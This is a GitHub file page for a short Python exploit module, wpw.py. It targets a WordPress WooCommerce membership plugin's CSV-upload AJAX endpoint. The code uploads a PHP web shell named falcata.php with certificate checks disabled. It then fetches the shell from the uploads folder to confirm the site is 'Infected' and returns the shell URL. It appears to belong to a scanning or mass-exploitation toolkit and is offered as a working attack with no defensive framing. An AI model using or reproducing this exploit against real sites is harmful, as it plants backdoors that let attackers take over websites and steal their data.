-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathwpw.py
More file actions
30 lines (28 loc) · 1.06 KB
/
wpw.py
File metadata and controls
30 lines (28 loc) · 1.06 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import re
import requests
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
def wp_woocommerce217(url, headers):
endpoint = url + "/wp-admin/admin-ajax.php?action=wps_membership_csv_file_upload"
shell = open('backdoor/falcata.php', 'rb')
headers['content-type'] = 'multipart/form-data'
options = {
'file': shell,
'type': 'text/csv'
}
requests.post(endpoint, data=options,headers=headers,verify=False).text
dump_data = url + "wp-content/uploads/mfw-activity-logger/csv-uploads/falcata.php?Infected=Y"
res = requests.get(dump_data,headers=headers,verify=False).text
check_woo = re.findall("Infected Y", res)
if check_woo:
return dict(
url=url,
name="woocommerce ",
status=True,
shell=dump_data
)
else:
return dict(
url=url,
name="woocommerce ",
status=False
)